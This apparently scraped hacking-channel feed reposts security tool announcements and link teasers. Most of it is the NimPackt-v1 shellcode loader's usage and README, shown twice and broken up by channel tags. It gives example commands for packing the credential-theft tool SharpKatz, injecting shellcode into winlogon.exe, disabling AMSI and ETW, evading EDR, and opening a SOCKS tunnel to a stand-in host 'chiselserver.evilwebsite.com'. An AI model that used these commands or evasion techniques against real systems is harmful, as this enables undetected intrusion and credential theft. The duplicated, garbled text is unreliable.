Usage usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]

required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)

other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit
Examples: # Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thre ad through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL

___________________________
@hacking_Attack
@Hacking_Video

python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns Binaries are stored in the output subfolder of your installation directory. Generated dll files can be executed as follows (entry point can be changed in the Nim template): rundll32 exampleShinjectNimPackt.dll,IconSrv

Download NimPackt-v1 (https://github.com/chvancooten/NimPackt-v1)

___________________________
@hacking_Attack
@Hacking_Video

Up to 100k GitHub credentials leaked...
https://www.reddit.com/r/redteamsec/comments/u1xz1q/up_to_100k_github_credentials_leaked/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.notgitbleed.com/) [comments] (https://www.reddit.com/r/redteamsec/comments/u1xz1q/up_to_100k_github_credentials_leaked/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
WSVuls : Website Vulnerability Scanner Detect Issues

WSVuls is a simple and powerful command line tool for Linux, Windows and macOS. It’s designed for developers/testers and for those workers in IT who want to test vulnerabilities and analyses website from a single command. It detects issues outdated software version, insecures HTTP headers, the long and useless requests

Why WSVuls ?

WSVuls can extract the following data while crawling:

Cloudflare

* IP Address
* Ports
* Hex Headers
* Protocol Version

Stats

* First Byte
* Start Render
* FCP
* Speed Index
* LCP
* CLS
* TBT
* DC Time
* DC Requests
* DC Bytes
* Time
* Requests
* Total Bytes

Mapper

* Resource
* Request Start
* Content Type
* DNS Lookup
* SSL Negotiation
* Error/Status Code

Docker

WSVuls can be launched using docker

Build Image

$ git clone https://github.com/anouarbensaad/wsvuls
$ cd wsvuls
$ docker build -t wsvuls:latest .

Run a WSVuls container with interactive mode

$ docker run -it –name wsvuls wsvuls:latest -u facebook.com

Usage

Scan, Detect and get stats for a specific url
Examples:
To get stats from target url:
$ wsvuls stats -u facebook.com
To get map all requests:
$ wsvuls stats -u facebook.com –mapper
To detect a right ip address from cloudflare firewall:
$ wsvuls cloud -d facebook.com
by default use-proxy to bypass the limit rate.
Available Commands:
stats Get statistics of target website.
cloud Get the right data from cloudflare.
Flags:
-h, –help help for wsvuls
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
ASSAMEE : Free Advance Encryptor For Anon Cloud

ASSAMEE is a free Advance encryptor for Anonfiles. It uses an advanced encryption method to encrypt the directory with AES-256. The data will store on anonfiles.com in an encrypted format. The ASSAMEE requires a download ID to download and decrypt the data from Anonfiles. Downloading encrypted data directly from anon files via a browser will not work.

ASSAMEE Required Packages.

* Zip
* Curl
* openssl
* jq

The above-required files need to install with the PKG installer option in ASSAMEE console.

Operating System

ASSAMEE Works perfectly on the operating system listed below.

* MacOs Big sur v11.6.4
* Kali 2.0 and above
* Parrot Linux
* Ubuntu

Anonfiles API Key

Get Your API_KEY from https://anonfiles.com/register

* First, register yourself, and you will get 100GB of storage.
* Login to Anonfiles and grab your API key from here
* Open ASSAMEE.sh with your favorite text editor and paste the API Key in the Anon_key variable.

Usage

git clone https://github.com/samhaxr/ASSAMEE
cd ASSAMEE
chmod +x ASSAMEE.sh
sh ASSAMEE.sh
Download

___________________________
@hacking_Attack
@Hacking_Video

Mythic C2 Framework Introduction Video
https://www.reddit.com/r/redteamsec/comments/u20n49/mythic_c2_framework_introduction_video/

Introduction To Mythic C2 - YouTube (https://www.youtube.com/watch?v=GZmez9lQnHA) submitted by /u/luzunov (https://www.reddit.com/user/luzunov)
[link] (https://www.reddit.com/r/redteamsec/comments/u20n49/mythic_c2_framework_introduction_video/) [comments] (https://www.reddit.com/r/redteamsec/comments/u20n49/mythic_c2_framework_introduction_video/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nexus Mutual Community Renews Bounty Matching Program With $600k War Chest

https://cdn-images-1.medium.com/max/1200/1*sumcPcicwDpA9IpxrPt5_w.jpeg
The Nexus Mutual community has just voted to continue its bug bounty matching program with Immunefi and increase the size of the war chest…

Continue reading on Immunefi »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Seven Things a Cyber-Security Enthusiast Should Know

https://cdn-images-1.medium.com/max/1012/1*TP32vo2-Z24j8nwKNoNGQw.png
This post was originally published on Hackmamba

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CVE-2021–4034

https://cdn-images-1.medium.com/max/1280/1*2_fHXXNUySxa4MFMIjx1RA.png
CVE-2021–4034 Local privilege escalation

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Home-Grown Red Team: Internal Windows Phishing With Pickl3 And InsideMan

https://cdn-images-1.medium.com/max/980/1*h4gbaYuVyAq7RTuR2zx4KQ.png
Let’s assume that you’ve sent your phishing email, found an external RCE exploit that led to internal network access, or whatever method…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack-A-Sat 3 Qualification Round​ 2022

https://cdn-images-1.medium.com/max/640/0*Tm0ssaRcte02O_c7.jpg
The United States Air Force and the United States Space Force jointly present Hack-A-Sat, which is open to all cybersecurity researchers…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CrowSec EdTech Write-Up: Poisoning

https://cdn-images-1.medium.com/max/2600/0*Thf_r-FXZRux5dY5
In this article, I will demonstrate how to resolve this CTF (Capture the Flag), this challenge is a lab and is available in the CrowSec…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
[HTB] Nibbles靶機 Write-Up

https://cdn-images-1.medium.com/max/749/1*vdSYVeWXjEk9HChs9BAAnA.png
Hack The Box Nibbles machine Write-Up

Continue reading on 璿的筆記 »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Here’s how to become an Ethical Hacker… (4 ways)

https://cdn-images-1.medium.com/max/2600/1*PuJVDRdzwjDRJvaPj4Mvjg.jpeg
It is a well known fact Ethical hackers are well compensated for their hard work, on average Ethical Hackers earn anywhere from $100k a…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Python Security Best Practices [Slides]

https://cdn-images-1.medium.com/max/2600/1*4CL7sW9GgE8_yKYvQoasEA.jpeg
This is a short one. Just a reference in case it’s of use or interest to somebody.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
NimPackt-v1 - Nim-based Assembly Packer And Shellcode Loader For Opsec And Profit

https://blogger.googleusercontent.com/img/a/AVvXsEgA5P5sTG7z6ZTMntdRENL1SMCAjEaYk7ezNzT7KZnPqdIkhPKT1J7hpHuy2IentAQgTyP3VDAGhnWmJlieQGmcj_VItHq_Efm2AU2BNr1zE9wXXpA_703M15tiw2O7E1Pz0H77jlGm2_g1Hr11wd8wYV_tla6mLPe2origarlCWnW8o6A5O2xLR78X=w640-h191 By Cas van Cooten (@chvancooten)

With special thanks to Marcello Salvati (@byt3bl33der) and Fabian Mosch (@S3cur3Th1sSh1t) DescriptionUpdate: NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed 'NimPackt-NG' (currently still private). With this re-write, I decided to open-source the old branch ("NimPackt-v1"). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course :)

NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods:

* Execute-Assemblyre-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW.
* Shinjecttakes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR.

Currently, NimPackt has the following features.

* Uses static syscalls to patch execute to evade EDR
* Unhooks user-mode APIs for spawned thread by refreshing NTDLL.dllusing ShellyCoat
* Patches Event Tracing for Windows (ETW)
* Patches the Anti-Malware Scan Interface (AMSI)
* AES-encrypts payload with random key to prevent static analysis or fingerprinting
* Compiles to exeor dll* Supports cross-platform compilation (from both Linux and Windows)
* Integrates with CobaltStrike for ezpz payload generation

A great source for C#-based binaries for offensive tooling can be found here. It is highly recommended to compile the C# binaries yourself. Even though embedded binaries are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection. InstallationIf you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads!

On Linux, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries.

pycryptodome argparse nimble install winim nimcrypto">sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

On Windows, execute the Nim installer from here. Make sure to install mingwand set the path values correctly using the provided finish.exeutility. If you don't have Python3 install that, then install the required packages as follows. nimble install winim nimcrypto
pip3 install pycryptodome argparse DockerThe Docker image chvancooten/nimbuild can be used to compile NimPackt-v1 binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.

To use it, install Docker for your OS and ensure the input shellcode is in the current folder. Then, start the compilation in a container as follows. docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.binCobaltStrike PluginTo install the CobaltStrike plugin, select Cobalt Strike-> Script Managerfrom the menu bar, and select Load. Make sure to load [...]

___________________________
@hacking_Attack
@Hacking_Video

the .cnafile from it's original location, otherwise it won't be able to find the NimPackt script files! https://blogger.googleusercontent.com/img/a/AVvXsEjAzTjuOeNxqeGe7OanmqoCnfGtpQFI6jGlp67wlPzNKA_x5RPVGTAAaf4CWCsXaKhXdkO9Yee1gAe5mp5HA7XzxbDvKwIZQh8z4-LY76J-JLG_lR0ubz4L0qz_tsA6Kn8CClA2Yk65dMxDESxSTuySYJ1D8sz4my4jJf5tB6awKiGSpeRz4qQxt9Xo=s320 Usageusage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]

required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)

other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit Examples: # Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thre ad through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -nsBinaries are stored in the outputsubfolder of your installation directory. Generated dllfiles can be execu[...]

___________________________
@hacking_Attack
@Hacking_Video